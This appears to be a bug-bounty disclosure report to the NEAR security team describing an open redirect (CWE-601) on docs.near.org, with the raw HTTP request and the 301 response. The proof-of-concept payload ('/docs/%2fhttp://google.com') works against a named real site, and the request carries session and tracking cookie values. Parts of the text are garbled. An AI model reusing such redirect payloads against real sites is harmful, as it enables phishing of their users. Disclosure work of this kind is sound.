

Report

K6D0L1

for

LOL

Security Team

NEAR

Data: 2024-3-30

The image features a dark teal background with a subtle, wavy pattern of lighter teal lines. A large, white-outlined circle is centered in the frame. Inside this circle, the words "OPEN" and "REDIRECT" are written in a light teal, sans-serif font, stacked vertically. The overall aesthetic is modern and technical.

OPEN
REDIRECT



Introduction

OPEN REDIRECT: An open redirect vulnerability occurs when an application allows a user to control a redirect or forward to another URL. If the app does not validate untrusted user input, an attacker could supply a URL that redirects an unsuspecting victim from a legitimate domain to an attacker's phishing site

Summary

Open Redirect vulnerability in websites allows attackers to redirect users to malicious sites. This vulnerability arises from improper validation of user inputs. For example:

User input without validation can be directly used as a URL to redirect users to other destinations.

This issue enables access to sensitive user information and facilitates phishing attacks.

Web applications should meticulously validate user inputs and only allow valid URLs.

Using filters and security tools like access restrictions to resources and access points can be helpful.



POC

Target: https://docs.near.org HTTP/2

Request

1 GET /docs/%2fhttp://google.com HTTP/2
2 Host: docs.near.org
3 Cookie: rl_session=RudderEncrypt%3AU2FsdGVkX18VnZckE8R%2BAEtTbIvAK3maZqsI70XgoRZ1KzndVLIqxElI60i6yYcc6BjT71h4HnmnCcnZqdLZoxHN%2B2xIEhmsaKYz4cAMakjUqLyeKQ1KmPRkiLeNZ8HVmTBE%2FAAxmJM%2FPyeNxxw0Q%3D%3D; rl_user_id=RudderEncrypt%3AU2FsdGVkX1%2FQUMUfJ0yVE9Nt%2B2bLu%2FKFpOe2cY2xvV4%3D; rl_trait=RudderEncrypt%3AU2FsdGVkX1%2BYyzGJrZvaw1I5LWupDg3rcnY158UK8Fg%3D; rl_group_id=RudderEncrypt%3AU2FsdGVkX1%2F5x14nnUVNirCDaGayEsopNcg16IKLdzk%3D; rl_group_trait=RudderEncrypt%3AU2FsdGVkX1%2BF1Eo72070rG15pkbyDm3ZzMX%2BJJYhf1U%3D; rl_anonymous_id=RudderEncrypt%3AU2FsdGVkX19qn8xra2y1DGruiezafI1XruPWAeeyBuDvcupZTnITYtFKWCi10%2FyJ; rl_page_init_referrer=RudderEncrypt%3AU2FsdGVkX1%2FIZVzAmsM09IaHCe3qkaLW7kcZoXVY%2F%2Bo%3D; rl_page_init_referring_domain=RudderEncrypt%3AU2FsdGVkX1%2BB9jBaQ04V1ygEMC8MGX8bpTrOrpQY1VQ%3D; _gcl_au=1.1.256788333.1711365698; _ga_9GWCXQJ62J=GS1.1.1711392529.3.1.1711395235.54.0.0; _ga=GA1.2.1266739140.1711365698; _ga_TGCW2P8C02=GS1.1.1711747566.2.0.1711747566.0.0.0; _hjSessionUser_2802930=eyJpZCI6IjYxMWY3NzUxLWUwNjgtNTcwYi1iYzUwLTNhMDE5ZjIwMTRjZSI6ImN5ZWZ0ZWQioJE3MTEzNzc0NDAlMDksImV4aXN0aW5nIjp0cnVlIj0=; _ALGOLIA=anonymous-a82d68c7-08bd-42de-96a0-634c12f6e66a; session-K2v3kvaJ5XtPzNYSgk4Ulp5ptgBkIMv=%7B%22gLeapId%22%3A%2296b6878a-0db0-4772-ad98-445c17c6bd69%22%2C%22gLeapHash%22%3A%2217ff6393b822c46aa0bc59c98863198e9256cf056d15c1229eaad200006a54%22%2C%22value%22%3A0%2C%22lang%22%3A%22en%22%7D; wooTracker=W3vcln020vd3: cdt_uuid=

Response

1 HTTP/2 301 Moved Permanently
2 Date: Fri, 29 Mar 2024 23:55:47 GMT
3 Content-Type: text/html; charset=utf-8
4 Location: //http://google.com
5 Cf-Ray: 86c3caf5da1d1e33-FRA
6 Cf-Cache-Status: DYNAMIC
7 Vary: Accept-Encoding
8 Cache-Tag: srv-c7k9v9v6d9kkjqrk8gag
9 Cloudflare-Cdn-Cache-Control: public, max-age=300
10 Server: cloudflare
11 Alt-Svc: h3=":443"; ma=86400
12
13
Moved Permanently

14
15



GET /docs/%2fhttp://google.com HTTP/2
Host: docs.near.org
Cookie:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Fri, 29 Mar 2024 14:19:44 UTC
If-None-Match: W/"bbe6fe9a2f538123f47717f5345abc96"
Te: trailers

CWE-601

URL:
<https://docs.near.org/>

Parameter:
[/<s>/\[*\]/<s>/<s>/<s>](#)

About
bug

1. Phishing: Open redirects trick users into malicious pages for theft.

2. Malware: Redirect lead users to malware-infected websites

3. Identify Theft: Exploiting redirecting to gather personal data for.

Impact

How To Fix it

1. URL validation: Verifying the correctness and validity of web addresses.
2. Input sanitization: Cleansing input data to prevent potential attacks.
3. Security headers: Transmitting security-related information in HTTP headers.
4. Regular security audits: Periodic assessments to identify security vulnerabilities.

bug hunter
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Aiden



snowfall